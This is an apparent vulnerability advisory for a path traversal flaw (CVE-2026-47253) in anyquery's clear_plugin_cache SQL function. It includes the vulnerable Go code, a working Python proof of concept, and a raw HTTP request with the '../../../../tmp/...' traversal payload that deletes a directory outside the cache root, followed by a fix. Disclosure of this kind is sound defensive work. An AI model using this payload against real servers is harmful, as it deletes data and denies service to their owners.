PT-2026-48538 · Go · Github.Com/Julien040/Anyquery
Path Traversal in
Published
2026-06-10
·
Updated
2026-06-10
·
CVE-2026-47253
CVSS v3.1
7.3
High
| Vector | AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H |
Path Traversal in clear plugin cache Allows Arbitrary Directory Deletion
| Field | Value |
|---|---|
| Repository | julien040/anyquery |
| Affected version | 0.4.4 |
| Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
| Severity | High |
Summary
The SQL scalar function
clear plugin cache(plugin) in namespace/other functions.go passes the caller-supplied plugin argument directly to path.Join and then to os.RemoveAll, with only an empty-string check as a guard. Because path.Join silently resolves .. segments, a low-privileged bearer-token holder can submit SELECT clear plugin cache('../../../../tmp/target') to the /v1/query HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside $XDG CACHE HOME/anyquery/plugins/ was successfully deleted, confirming full path-traversal exploitation.Affected Code
namespace/other functions.go:46 — pathlib.Join resolves .. segments in attacker-controlled plugin, producing a path outside the cache rootnamespace/other functions.go:53 — os.RemoveAll unconditionally deletes the traversed pathfunc clear plugin cache(plugin string) string {
pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)
if plugin == "" {
return "The plugin name is empty"
}
// Remove the directory
err := os.RemoveAll(pathToRemove)
if err != nil {
return err.Error()
}
return ""
}
HTTP JSON
body.Query → executeQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear plugin cache(plugin) → pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) at other functions.go:46 → os.RemoveAll at other functions.go:53Proof of Concept
Prerequisites:
- Docker installed
- Python 3 with
requestspackage (pip install requests)
Step 1 — Build and start the vulnerable service:
docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
Step 2 — Run the PoC script (separate terminal):
python3 poc.py
poc.py:
#!/usr/bin/env python3
"""PoC reproduction script — julien040/anyquery / VULN-002
Prerequisites:
- Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
- Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
- Python packages: requests (stdlib subprocess also used)
How to run (from this report directory, after Dockerfile service is up):
python3 poc.py
Expected on success:
Final stdout line begins with `RESULT: PASS` confirming that the sentinel
directory outside the cache root was deleted via clear plugin cache path traversal.
"""
import subprocess
import sys
import json
import requests
BASE URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG CACHE HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc sentinel")
# resolves to /tmp/poc sentinel (4 levels up escapes the cache root).
TRAVERSAL PLUGIN = "../../../../tmp/poc sentinel"
SENTINEL PATH = "/tmp/poc sentinel"
QUERY = f"SELECT clear plugin cache('{TRAVERSAL PLUGIN}')"
def docker exec(cmd):
result = subprocess.run(
["docker", "exec", CONTAINER] + cmd,
capture output=True, text=True
)
return result.returncode, result.stdout, result.stderr
def sentinel exists():
rc, , = docker exec(["test", "-d", SENTINEL PATH])
return rc == 0
# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL PATH} inside container...")
rc, out, err = docker exec(["mkdir", "-p", SENTINEL PATH])
if rc != 0:
sys.exit(f"RESULT: FAIL — could not create sentinel: {err}")
if not sentinel exists():
sys.exit("RESULT: FAIL — sentinel not present after mkdir")
print(f" Sentinel created: {SENTINEL PATH}")
# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
r = requests.get(f"{BASE URL}/list-tables", timeout=5)
assert r.status code == 200, f"unexpected status {r.status code}"
print(f" GET /list-tables → HTTP {r.status code} OK")
except Exception as e:
sys.exit(f"RESULT: FAIL — server not reachable: {e}")
# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
f"{BASE URL}/execute-query",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
timeout=10,
)
print(f" HTTP {r.status code}")
print(f" Body: {r.text.strip()}")
if r.status code != 200:
sys.exit(f"RESULT: FAIL — unexpected HTTP status {r.status code}")
# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel exists():
print(f" Sentinel still present — traversal did not delete it.")
print(f"RESULT: FAIL — {SENTINEL PATH} still exists after traversal request")
else:
print(f" Sentinel GONE — {SENTINEL PATH} deleted outside cache root.")
print(f"RESULT: PASS — clear plugin cache('{TRAVERSAL PLUGIN}') deleted {SENTINEL PATH} (outside /root/.cache/anyquery/plugins/)")
HTTP request:
POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json
{"query": "SELECT clear plugin cache('../../../../tmp/poc sentinel')"}
Output:
[1] Creating sentinel directory /tmp/poc sentinel inside container...
Sentinel created: /tmp/poc sentinel
[2] Confirming server is reachable...
GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
HTTP 200
Body: +----------------------------------------------------+
| clear plugin cache('../../../../tmp/poc sentinel') |
+----------------------------------------------------+
| |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
Sentinel GONE — /tmp/poc sentinel deleted outside cache root.
RESULT: PASS — clear plugin cache('../../../../tmp/poc sentinel') deleted /tmp/poc sentinel (outside /root/.cache/anyquery/plugins/)
Impact
An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a
..-traversing plugin name to clear plugin cache. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary ($XDG CACHE HOME/anyquery/plugins/). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.Remediation
In
namespace/other functions.go, resolve the full path and confirm it shares the expected cache-root prefix before calling os.RemoveAll:func clear plugin cache(plugin string) string {
if plugin == "" {
return "The plugin name is empty"
}
cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
pathToRemove := pathlib.Join(cacheRoot, plugin)
rel, err := filepath.Rel(cacheRoot, pathToRemove)
if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
return "Invalid plugin name"
}
if err := os.RemoveAll(pathToRemove); err != nil {
return err.Error()
}
return ""
}
As a defence-in-depth measure, also reject
plugin values containing /, ``, or a leading . at the input level before the path.Join call, so traversal sequences are blocked at the earliest opportunity.Fix
Path traversal
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Github.Com/Julien040/Anyquery